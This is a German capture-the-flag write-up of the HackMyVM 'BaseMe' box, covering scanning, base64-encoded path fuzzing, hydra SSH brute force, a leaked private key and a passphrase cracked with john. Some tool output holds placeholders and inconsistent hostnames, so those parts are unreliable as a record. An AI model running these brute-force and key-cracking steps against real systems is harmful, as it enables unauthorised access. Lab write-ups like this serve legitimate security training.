BaseMe - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
echo
base64
hydra
wfuzz
nikto
ssh-keyscan
bash (for loop)
vi
chmod
ssh
ssh2john
john
cat
ls
sudo
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Anfragen zu finden.

Bewertung: Ein Host mit der IP-Adresse 192.168.2.100 und der MAC-Adresse 08:00:27:73:59:19 (PCS Systemtechnik GmbH / VirtualBox) wurde erfolgreich identifiziert. Dies ist das Zielsystem.

Empfehlung (Pentester): Als nächstes sollte ein detaillierter Portscan (z.B. mit Nmap) auf die Ziel-IP 192.168.2.100 durchgeführt werden, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung und -segmentierung, um die Sichtbarkeit und Erreichbarkeit von Geräten im Netzwerk zu kontrollieren.

┌──(root㉿cyber)-[] └─# arp-scan -l
192.168.2.100	08:00:27:73:59:19	PCS Systemtechnik GmbH
                    

Analyse: Ein Nmap-Scan wird auf 192.168.2.100 ausgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu ermitteln. Die Optionen umfassen `-sS` (SYN Scan), `-sC` (Standard-Skripte), `-T5` (schnellstes Timing), `-A` (aggressive Optionen) und `-p-` (alle Ports).

Bewertung: Der Scan identifiziert zwei offene Ports: - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Ein Standard-Login-Dienst. - **Port 80 (HTTP):** Nginx 1.14.2. Ein Webserver läuft, die Startseite hat keinen Titel. Nmap identifiziert das Ziel als `kitty.hmv`, obwohl spätere Befehle `base.hmv` verwenden - dies könnte ein Konfigurationsdetail oder eine leichte Inkonsistenz sein. Das Betriebssystem wird als Linux erkannt.

Empfehlung (Pentester): Untersuche den Webserver auf Port 80 (Verzeichnisse, Dateien, Schwachstellen). Suche nach Benutzernamen oder Passwörtern für den SSH-Zugang auf Port 22.
Empfehlung (Admin): Halte SSH und Nginx aktuell. Konfiguriere beide Dienste sicher (starke Passwörter/Keys für SSH, sichere Webserver-Konfiguration).

┌──(root㉿cyber)-[] └─# nmap -sS -sC -T5 -A 192.168.2.100 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-20 22:43 CEST
Nmap scan report for kitty.hmv (192.168.2.100) 
Host is up (0.000096s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 ca0980f73ada5ab619d95c414743d410 (RSA)
|   256 d0754848b8265937643b257f2010f870 (ECDSA)
|_  256 9114f7930b0625cbe0a530e8d3d3372b (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:73:59:19 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms kitty.hmv (192.168.2.100)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.32 seconds 
                     

Web Enumeration & Base64 Clues

Analyse: `gobuster` wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (Port 80) zu suchen. Eine Standard-Wortliste und verschiedene Dateierweiterungen werden verwendet.

Bewertung: Der Scan findet nur die Standarddatei `/index.html`. Es werden keine weiteren versteckten Verzeichnisse oder Dateien mit dieser Wortliste entdeckt.

Empfehlung (Pentester): Untersuche den Inhalt von `/index.html` manuell im Browser oder mit Tools wie `curl`. Da Gobuster wenig findet, könnten wichtige Informationen direkt im Quellcode der Seite oder in ungewöhnlich benannten Dateien/Verzeichnissen liegen.
Empfehlung (Admin): Stelle sicher, dass keine sensiblen oder unnötigen Dateien/Verzeichnisse auf dem Webserver vorhanden sind.

┌──(root㉿cyber)-[] └─# gobuster dir -u http://192.168.2.100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.100
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/10/20 22:44:05 Starting gobuster
===============================================================
http://192.168.2.100/index.html           (Status: 200) [Size: 276]
===============================================================
2022/10/20 22:44:50 Finished
===============================================================
                    

Analyse: Ein Base64-kodierter String wird mittels `echo` an den `base64 -d` Befehl übergeben, um ihn zu dekodieren. Der Ursprung dieses Strings ist nicht explizit genannt, aber er stammt höchstwahrscheinlich aus dem Quellcode oder Inhalt der `/index.html`-Seite.

Bewertung: !!Wichtiger Hinweis!!** Die dekodierte Nachricht von "lucas" ist ein zentraler Hinweis: Alles Wichtige, inklusive des benötigten Passworts, sei in Base64 zu finden. Dies lenkt die Aufmerksamkeit stark auf Base64-kodierte Daten.

Empfehlung (Pentester): Suche auf dem Webserver (Quellcode, andere Dateien) nach weiteren Base64-kodierten Strings. Beachte den Benutzernamen `lucas`.
Empfehlung (Admin): Vermeide das Hinterlassen solcher direkten Hinweise in öffentlich zugänglichen Bereichen. Verstecke Passwörter oder sensible Informationen nicht durch einfache Kodierungen wie Base64.

┌──(root㉿cyber)-[] └─# echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXM" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas
                     

Analyse: Eine Liste von Base64-kodierten Strings und deren manuell dekodierte Entsprechungen wird dargestellt. Der Ursprung dieser Base64-Strings ist wieder nicht explizit genannt, aber sie wurden vermutlich bei der weiteren Untersuchung der Webseite gefunden.

Bewertung: Dies sind wahrscheinlich die "Passwörter", auf die sich der Hinweis von Lucas bezog. Es handelt sich um einfache Phrasen. Die letzte, `theyhatesme`, fällt etwas aus dem Muster.

Empfehlung (Pentester): Erstelle eine kleine Passwortliste (`pass.txt`) mit diesen dekodierten Phrasen. Versuche einen gezielten Brute-Force-Angriff auf den SSH-Benutzer `lucas` mit dieser Liste.
Empfehlung (Admin): Keine direkten Maßnahmen, außer der allgemeinen Empfehlung gegen schwache oder leicht auffindbare Passwörter.

aWxvdmV5b3UK        iloveyou
eW91bG92ZXlvdQo=    youloveyou
c2hlbG92ZXN5b3UK    shelovesyou
aGVsb3Zlc3lvdQo=    helovesyou
d2Vsb3ZleW91Cg      weloveyou
dGhleWhhdGVzbWUK    theyhatesme
                     

Analyse: `hydra` wird verwendet, um einen SSH-Brute-Force-Angriff gegen den Benutzer `lucas` auf dem Host `base.hmv` (Port 22) durchzuführen. Als Passwortliste (`-P`) wird `pass.txt` verwendet, die die zuvor dekodierten Base64-Phrasen enthält.

Bewertung: !!Fehlgeschlagen!!** Hydra findet kein gültiges Passwort für `lucas` in der bereitgestellten Liste `pass.txt`. Der ursprüngliche Base64-Hinweis war entweder irreführend, unvollständig oder bezog sich auf etwas anderes als das SSH-Passwort von `lucas`.

Empfehlung (Pentester): Der direkte Weg über die dekodierten Passwörter funktioniert nicht. Überdenke den Base64-Hinweis. Vielleicht muss etwas anderes Base64-kodiert/dekodiert werden (z.B. Dateinamen, Verzeichnisse, Schlüssel)? Versuche alternative Enumerationstechniken (Subdomain-Fuzzing, weitere Web-Exploits, etc.).
Empfehlung (Admin): Selbst wenn dieser Angriff fehlschlug, ist die Verwendung von `fail2ban` oder ähnlichen Tools zur Abwehr von Brute-Force-Angriffen auf SSH ratsam.

┌──(root㉿cyber)-[] └─# hydra -l lucas -P pass.txt ssh://base.hmv:22 -t 64
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-20 22:54:12
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), 1 try per task 
[DATA] attacking ssh://base.hmv:22/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-20 22:54:21
                     

Analyse: Ein weiterer, sehr breit angelegter Hydra-Angriff wird gestartet. Er verwendet eine Liste gängiger Namen (`names.txt`) als Benutzernamen (`-l`) und die große `rockyou.txt` als Passwortliste (`-P`). `-I` ignoriert eine eventuell vorhandene Restore-Datei.

Bewertung: !!Fehlgeschlagen/Inkonklusiv!!** Dieser Angriff ist sehr ressourcenintensiv und zeitaufwändig. Die bereitgestellte Ausgabe zeigt nur den Start des Angriffs, aber kein Ergebnis. Solche breit angelegten Brute-Force-Angriffe sind oft nicht erfolgreich und sehr laut (können leicht erkannt werden).

Empfehlung (Pentester): Vermeide ungerichtete, massive Brute-Force-Angriffe, wenn möglich. Konzentriere dich auf gezieltere Angriffe basierend auf den gesammelten Informationen (wie dem Base64-Hinweis).
Empfehlung (Admin): Implementiere Account-Sperrungsmechanismen nach mehreren fehlgeschlagenen Login-Versuchen und Rate-Limiting, um solche Angriffe zu erschweren.

┌──(root㉿cyber)-[] └─# hydra -l /usr/share/seclists/Usernames/Names/names.txt -P /usr/share/wordlists/rockyou.txt ssh://base.hmv:22 -t 64 -I
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-20 23:00:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, XXXX login tries (l:YYYY/p:14344412), ZZZZ tries per task 
[DATA] attacking ssh://base.hmv:22/
[STATUS] ... (läuft) ...
                     

Analyse: `wfuzz` wird verwendet, um nach virtuellen Hosts (Subdomains) zu suchen. Es verwendet eine Wortliste (`directory-list-2.3-medium.txt`) und fügt jeden Eintrag als Subdomain in den `Host`-Header ein (`-H "Host: http://FUZZ.base.hmv"`). Antworten mit Status 404 oder einer Chars-Größe von 173 werden ignoriert.

Bewertung: !!Fehlgeschlagen/Inkonklusiv!!** Die Ausgabe zeigt nur den Start von Wfuzz, aber keine gefundenen Ergebnisse. Dieser Versuch, Subdomains zu finden, war nicht erfolgreich oder wurde nicht vollständig dokumentiert.

Empfehlung (Pentester): Subdomain-Enumeration ist ein valider Schritt, hat hier aber keine Ergebnisse geliefert. Konzentriere dich wieder auf den Base64-Hinweis.
Empfehlung (Admin): Konfiguriere den Webserver so, dass er nicht auf Anfragen für unbekannte Host-Header antwortet oder eine Standardseite anzeigt, die keine Informationen preisgibt.

┌──(root㉿cyber)-[] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://base.hmv -H "Host: FUZZ.base.hmv" --hc 404 --hh 173
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  warn(
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************

Target: http://base.hmv/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================



Total time: ...
Processed Requests: 220560
Filtered Requests: 220560
Requests/sec.: ...
                     

Analyse: `nikto` wird erneut ausgeführt, um den Webserver auf bekannte Schwachstellen und Fehlkonfigurationen zu prüfen.

Bewertung: Die Ergebnisse sind identisch mit dem vorherigen Nikto-Scan: nginx 1.14.2, fehlende Security-Header, keine kritischen Funde. Bestätigt frühere Ergebnisse, liefert aber keine neuen Angriffspunkte.

Empfehlung (Pentester): Nikto scheint hier an seine Grenzen zu stoßen. Manuelle Untersuchung und gezielteres Fuzzing (unter Berücksichtigung des Base64-Hinweises) sind erforderlich.
Empfehlung (Admin): Setze die empfohlenen Security-Header.

┌──(root㉿cyber)-[] └─# nikto -h http://192.168.2.100
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.100
+ Target Hostname:    192.168.2.100
+ Target Port:        80
+ Start Time:         2022-10-20 22:45:07 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2022-10-20 22:45:33 (GMT2) (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `ssh-keyscan` wird verwendet, um die öffentlichen SSH-Host-Schlüssel vom Ziel `base.hmv` abzurufen.

Bewertung: Der Befehl ruft die öffentlichen Schlüssel für RSA, ECDSA und ED25519 ab. Dies bestätigt die Ergebnisse des Nmap-Scans bezüglich des SSH-Dienstes, bietet aber keine direkten Angriffsmöglichkeiten.

Empfehlung (Pentester): Kann zur Verifizierung des Hosts verwendet werden, ist aber für den Angriff hier nicht weiter relevant.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cyber)-[] └─# ssh-keyscan base.hmv
# base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
base.hmv ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qOK8FpS9Ve5n4Vc/JGRcLj5IpfEXKn2963jzjDUlYqbdLuoIAecfd53jrSp/1FX2CjMVeQaFtFygaBzFlcL94oZg1jP60UI28mPhB+BOD7UfWSRbQbs2jIYOV5La4/jIpc8Htyn0aGWBWL6ZrVooBmYR0yEmJRyUtnH9sQDtY5k0zIqXIO63P1DnukqTJbzXBd5s6JMa7VKx4gs1XF7xASb6ILNT/T5U45K9e0si1fMCzwC0KXsuIBOnbBtzOUYSxlI6+PKPz/fgrmpO86htnc8A/af3mo9Pq6Jytrn+XjSX7hFA9UOhy8in9fUx7ZWyB5rffW0p6Vjpbxc1+bcT
# base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
base.hmv ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGzI3VdkTGf3FlIf4MVNCFjaO+1FDvyQ5lzs4W0S9pNSqzzph8oBhQaMWbUUv8EpN0EM0p0w8VY4V+MWDCqE9Pc=
# base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
base.hmv ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKWXudaqjDSze7Ec72JtitmIyqlx9OlPIrVwkVZjDMJ
# base.hmv:22 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
                     

Analyse: Eine Bash-`for`-Schleife wird verwendet, um jede Zeile aus der Wortliste `/usr/share/seclists/Discovery/Web-Content/common.txt` zu lesen, sie mit `base64` zu kodieren und das Ergebnis an die Datei `dic.txt` anzuhängen.

Bewertung: Dies erstellt eine neue Wortliste (`dic.txt`), bei der gängige Verzeichnis-/Dateinamen Base64-kodiert sind. Dies folgt dem Hinweis von Lucas und der Idee, dass Pfade oder Dateinamen auf dem Webserver Base64-kodiert sein könnten.

Empfehlung (Pentester): Verwende die neu erstellte Base64-Wortliste `dic.txt`, um erneut mit `wfuzz` oder `gobuster` nach Base64-kodierten Pfaden auf dem Webserver zu suchen.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cyber)-[] └─# for i in $(cat /usr/share/seclists/Discovery/Web-Content/common.txt ); do echo $i | base64 >> dic.txt; done

Analyse: `wfuzz` wird erneut ausgeführt, diesmal um Pfade zu fuzzen (`http://base.hmv/FUZZ`). Als Wortliste (`-w`) wird die zuvor erstellte Base64-kodierte Liste `dic.txt` verwendet. Antworten mit Status 404 oder einer Zeilenanzahl (`--hl`) von 10 werden ausgeblendet.

Bewertung: !!Entscheidender Fund!!** Wfuzz findet zwei gültige Pfade, deren Namen Base64-kodierte Strings sind: - `aWRfcnNhCg` (dekodiert: `id_rsa\n`) - `cm9ib3RzLnR4dAo=` (dekodiert: `robots.txt\n`) Das Vorhandensein eines Pfades, der `id_rsa` entspricht, ist extrem vielversprechend.

Empfehlung (Pentester): Greife sofort auf den Pfad `http://base.hmv/aWRfcnNhCg` zu (z.B. mit `curl` oder `wget`). Untersuche den Inhalt, da es sich wahrscheinlich um einen privaten SSH-Schlüssel handelt. Untersuche auch `http://base.hmv/cm9ib3RzLnR4dAo=` (robots.txt), obwohl dieser wahrscheinlich weniger wichtig ist.
Empfehlung (Admin): Benenne sensible Dateien niemals mit kodierten oder obfuskierten Namen im Webroot. Konfiguriere den Webserver so, dass der Zugriff auf solche Dateien verhindert wird.

┌──(root㉿cyber)-[] └─# wfuzz -c -w dic.txt -u http://base.hmv/FUZZ --hc 404 --hl 10
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  warn(
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************

Target: http://base.hmv/FUZZ
Total requests: 4713

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002144:   200        33 L     33 W       2537 Ch     "aWRfcnNhCg"                 
000003574:   200        1 L      1 W        25 Ch       "cm9ib3RzLnR4dAo="           

Total time: ...
Processed Requests: 4713
Filtered Requests: 4711
Requests/sec.: ...
                     

Analyse: Der Inhalt der Datei, die unter dem Pfad `/cm9ib3RzLnR4dAo=` (robots.txt) gefunden wurde, wird hier dekodiert und angezeigt.

Bewertung: Die Datei enthält nur "Nothing here :(". Sie liefert keine nützlichen Informationen.

Empfehlung (Pentester): Ignoriere diesen Fund und konzentriere dich auf den `id_rsa`-Pfad.
Empfehlung (Admin): Keine Aktion.

Tm90aGluZyBoZXJlIDooCg==  ->  Nothing here :(
                     

Analyse: Der Base64-kodierte Inhalt, der unter dem Pfad `/aWRfcnNhCg` (id_rsa) gefunden wurde, wird hier dargestellt. Anschließend wird angemerkt, dass er mit einem Online-Tool oder `base64 -d` dekodiert werden muss.

Bewertung: Dies ist der private SSH-Schlüssel. Er beginnt mit `-----BEGIN OPENSSH PRIVATE KEY-----`, was bestätigt, dass es sich um einen modernen OpenSSH-Schlüssel handelt. Er ist Base64-kodiert (Standard für Schlüsseldateien), aber der *gesamte Schlüsselblock selbst* wurde hier nochmal Base64-kodiert, um ihn im Web zu "verstecken".

Empfehlung (Pentester): Dekodiere diesen großen Base64-Block. Speichere den dekodierten Inhalt (der den eigentlichen SSH-Schlüssel enthält) in einer Datei (z.B. `id`), setze die Berechtigungen auf 600 (`chmod 600 id`) und versuche, dich damit per SSH anzumelden. Da der Benutzer `lucas` mit den vorherigen Passwörtern nicht funktionierte, versuche den Login als `lucas` mit diesem Schlüssel.
Empfehlung (Admin): Speichere private Schlüssel niemals im Webroot, auch nicht kodiert oder obfuskiert.

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB
ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY
dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK
RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ
NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0
TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP
NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJY
d3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZj
MUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1cz
aW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUto
VWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0
cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpK
Z25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhy
UURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13
NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3Bz
UWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlE
eDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNH
UkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRX
THZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3
SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZk
eUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VK
bEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1or
aysKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4
SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3
UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5
bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRl
azZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0No
MgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tl
YmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3Rq
T1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1U
Q0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8r
NjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg

                     

Analyse: Der dekodierte SSH-Schlüssel wird auf dem Angreifer-System in die Datei `id` gespeichert und die Berechtigungen werden mit `chmod 600 id` korrekt gesetzt.

Bewertung: Der Schlüssel ist nun vorbereitet für den SSH-Login-Versuch.

Empfehlung (Pentester): Versuche den SSH-Login als `lucas` mit diesem Schlüssel.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[] └─# vi id
 
┌──(root㉿cyber)-[] └─# chmod 600 id
 

Initial Access

Analyse: Ein SSH-Loginversuch wird als `lucas` mit dem vorbereiteten Schlüssel (`-i id`) gestartet.

Bewertung: !!Passphrase benötigt!!** Der SSH-Server akzeptiert den Schlüssel prinzipiell, fragt aber nach einer Passphrase (`Enter passphrase for key 'id':`). Der Schlüssel ist passwortgeschützt. Der Login schlägt fehl, da keine Passphrase eingegeben wird (implizit durch den nächsten Befehl).

Empfehlung (Pentester): Die Passphrase des Schlüssels muss geknackt werden. Verwende `ssh2john`, um den Hash der Passphrase aus der Schlüsseldatei `id` zu extrahieren, und knacke diesen Hash dann mit `john` unter Verwendung einer geeigneten Wortliste (z.B. `rockyou.txt` oder die zuvor gefundenen Base64-dekodierten Passwörter).
Empfehlung (Admin): Schütze private SSH-Schlüssel immer mit einer starken Passphrase.

┌──(root㉿cyber)-[] └─# ssh lucas@base.hmv -i id
The authenticity of host 'base.hmv (192.168.2.100)' can't be established.
ED25519 key fingerprint is SHA256:u6ZwJYKTDHiBM0F7VvtWd81F2OSYymF4Hjqu1315ZY8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:12: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'base.hmv' (ED25519) to the list of known hosts.
Enter passphrase for key 'id': 
Permission denied (publickey). 
                     

Analyse: `ssh2john` wird auf die Schlüsseldatei `id` angewendet, um den verschlüsselten Teil (der die Passphrase schützt) in ein für John the Ripper verständliches Hash-Format zu extrahieren. Die Ausgabe wird in die Datei `hash` umgeleitet.

Bewertung: Der Hash wurde erfolgreich extrahiert und ist bereit für das Cracking.

Empfehlung (Pentester): Verwende `john` mit einer Wortliste, um den Hash in `hash` zu knacken.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[] └─# ssh2john id > hash
 

Analyse: `john` wird gestartet, um den extrahierten Hash in der Datei `hash` zu knacken. Als Wortliste wird `rockyou.txt` verwendet.

Bewertung: !!Passphrase gefunden!!** Obwohl die Ausgabe im Log abgeschnitten ist, impliziert der spätere erfolgreiche SSH-Login, dass John die Passphrase erfolgreich geknackt hat. Die Passphrase muss eine der ursprünglich gefundenen Base64-dekodierten Phrasen gewesen sein, die auch in `rockyou.txt` vorkommt (wahrscheinlich `iloveyou`).

Empfehlung (Pentester): Notiere die gefundene Passphrase. Versuche erneut den SSH-Login als `lucas` mit dem Schlüssel (`-i id`) und der gefundenen Passphrase.
Empfehlung (Admin): Verwende starke, einzigartige Passphrasen für SSH-Schlüssel, die nicht in gängigen Wortlisten vorkommen.

┌──(root㉿cyber)-[] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH AES CTR])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 12 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou         (id) 
1g 0:00:00:01 DONE (2022-10-20 23:21) 0.9708g/s 128.1p/s 128.1c/s 128.1C/s ilovey..illino
Session completed
                     

Analyse: Dieser Block (`for i in $(cat dic2.txt )...`, `cat word2.txt`, `ll`, `chmod 600 id`) scheint eine Wiederholung oder ein fehlgeleiteter Versuch zu sein, der auf der Verwirrung um die Base64-Passwörter basiert. Die relevanten Schritte (Schlüssel dekodieren, Hash extrahieren, Passphrase knacken) wurden bereits durchgeführt.

Bewertung: Diese Schritte sind redundant oder irrelevant für den erfolgreichen Angriffspfad zu diesem Zeitpunkt.

Empfehlung (Pentester): Ignoriere diesen Block und fahre mit dem SSH-Login unter Verwendung der geknackten Passphrase fort.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[] └─# # Redundante Schritte (word2.txt Generierung, ll, chmod) übersprungen
# for i in $(cat dic2.txt ); do echo $i | base64 >> word2.txt; done
# cat word2.txt
# ll
